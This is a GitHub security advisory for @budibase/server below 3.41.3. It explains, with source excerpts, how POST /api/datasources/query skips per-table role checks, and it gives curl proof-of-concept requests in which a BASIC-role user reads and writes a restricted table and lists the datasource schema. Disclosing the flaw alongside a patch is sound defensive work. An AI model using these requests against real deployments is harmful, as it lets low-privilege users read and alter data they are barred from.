Skip to content

Missing per-table authorization on POST /api/datasources/query allows low-privilege role to bypass table permission restrictions

High
mjashanks published GHSA-vq3j-xwg3-pg8x Aug 14, 2026

Package

npm @budibase/server (npm)

Affected versions

<3.41.3

Patched versions

3.41.3

Description

Summary

POST /api/datasources/query lets any authenticated user who holds the lowest non-public application role (BASIC) read, create, update, or delete rows in any table of any datasource configured in that application, even when the application owner has explicitly restricted that specific table to a higher role (POWER or ADMIN) via the table's permission settings. The normal row API (/api/:tableId/rows) correctly enforces the per-table role, but this alternate "raw query" endpoint does not check the caller's role against the target table at all.

Details

The route is registered in packages/server/src/api/routes/datasource.ts:

.post(
  "/api/datasources/query",
  authorized(
    permissions.PermissionType.TABLE,
    permissions.PermissionLevel.READ
  ),
  datasourceQueryValidator(),
  datasourceController.query
)

Every sibling route that accepts a resource ID in the request (e.g. /api/queries/preview, /api/queries) is wrapped with bodyResource("datasourceId") or paramResource/paramSubResource before the authorized() middleware, which populates ctx.resourceId so the authorization middleware can look up the specific role required for that resource. This route is missing that call.

In packages/server/src/middleware/authorized.ts:

function hasResource(ctx: any) {
  return ctx.resourceId != null
}
...
const appId = context.getAppId()
if (appId && hasResource(ctx)) {
  resourceRoles = await roles.getRequiredResourceRole(permLevel, ctx)
  ...
}

Because ctx.resourceId is never set for this route, resourceRoles stays [], and checkAuthorizedResource falls through to a generic, table-agnostic check:

if (resourceRoles.length > 0) {
  // per-resource role check
} else if (
  !permissions.doesHaveBasePermission(permType, permLevel, userRoles)
) {
  ctx.throw(403, permError)
}

doesHaveBasePermission(TABLE, READ, ...) only checks whether the caller's general app role (BASIC/POWER/ADMIN) includes TABLE at READ level or above in the builtin permission sets in packages/backend-core/src/security/permissions.ts — it has no notion of which table is actually being targeted. Every non-public role (BASIC inherits the WRITE builtin permission set, which includes TABLE/WRITE, and getAllowedLevels(WRITE) includes READ) passes this check unconditionally, regardless of any per-table role restriction configured by the app owner.

The controller then executes the query with no further check:

// packages/server/src/api/controllers/datasource.ts
export async function query(ctx: UserCtx) {
  const queryJson = ctx.request.body
  ctx.body = await getDatasourceAndQuery(queryJson)
}

// packages/server/src/api/controllers/row/utils.ts
export async function getDatasourceAndQuery(json: any) {
  const datasourceId = json.endpoint.datasourceId
  const datasource = await sdk.datasources.get(datasourceId)
  return makeExternalQuery(datasource, json)
}

json.endpoint.operation accepts READ, CREATE, UPDATE, or DELETE (validated in packages/server/src/api/routes/utils/validators.ts, datasourceQueryValidator), so the same missing check applies to writes and deletes as well, not just reads. The route hardcodes permissions.PermissionLevel.READ for the base-permission check regardless of the operation actually requested in the body.

The table names needed to target this endpoint (entityId) are themselves obtainable through the same class of bug: GET /api/datasources/:datasourceId (used to fetch schema/entities) is likewise only guarded by doesHaveBasePermission, so any BASIC-role user can list every table and column of every datasource in the app without needing builder access.

PoC

Prerequisites: an app with a Postgres (or any external SQL) datasource containing a table secrets, whose READ permission is set to POWER (i.e. explicitly excluding BASIC users), and a user with only the BASIC role assigned in that app.

# Confirm the BASIC user cannot read the table through the normal row API
curl -s -b "$BASIC_SESSION" \
  -H "x-budibase-app-id: $APP_ID" \
  "http://HOST/api/$TABLE_ID/rows" -w "\nHTTP %{http_code}"
# -> {"message":"User does not have permission","status":403}

# Confirm the BASIC user can freely list the datasource's schema (table names, columns)
curl -s -b "$BASIC_SESSION" \
  -H "x-budibase-app-id: $APP_ID" \
  "http://HOST/api/datasources/$DATASOURCE_ID"
# -> 200, full "entities" object including table "secrets" and its columns

# Bypass: same BASIC user reads the restricted table via the raw query endpoint
curl -s -b "$BASIC_SESSION" \
  -H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
  -X POST "http://HOST/api/datasources/query" \
  -d '{"endpoint":{"datasourceId":"'"$DATASOURCE_ID"'","operation":"READ","entityId":"secrets"},"resource":{"fields":["id","data"]},"filters":{}}'
# -> HTTP 200 [{"id":1,"data":"TOP-SECRET-ADMIN-ONLY-VALUE"}]

# Same bypass also works for writes: set the table's WRITE permission to POWER too,
# confirm normal row-create is blocked for BASIC:
curl -s -b "$BASIC_SESSION" -X POST \
  -H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
  "http://HOST/api/$TABLE_ID/rows" -d '{"data":"SHOULD-BE-BLOCKED"}'
# -> {"message":"User does not have permission","status":403}

# ... but the raw query endpoint still allows the write:
curl -s -b "$BASIC_SESSION" \
  -H "x-budibase-app-id: $APP_ID" -H "Content-Type: application/json" \
  -X POST "http://HOST/api/datasources/query" \
  -d '{"endpoint":{"datasourceId":"'"$DATASOURCE_ID"'","operation":"CREATE","entityId":"secrets"},"body":{"data":"WRITE-BYPASS-BY-BASIC-USER"}}'
# -> HTTP 200 [{"id":3,"data":"WRITE-BYPASS-BY-BASIC-USER"}]
# Verified as admin: the row is persisted in the table.

Impact

Any authenticated user with the lowest non-public role in a Budibase application (BASIC) can read, insert, update, or delete data in any table of any external datasource configured in that application, completely bypassing the per-table role restrictions (POWER/ADMIN-only tables) that the application owner explicitly configured through the Data > Table > Permissions UI. This defeats Budibase's core table-level access-control feature for any app that relies on per-table roles to segregate sensitive data (e.g. an HR or finance table restricted to POWER/ADMIN roles while regular end users hold BASIC). The same endpoint also discloses the full datasource schema (table and column names) to any BASIC user, which is the information needed to exploit the bypass.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

Credits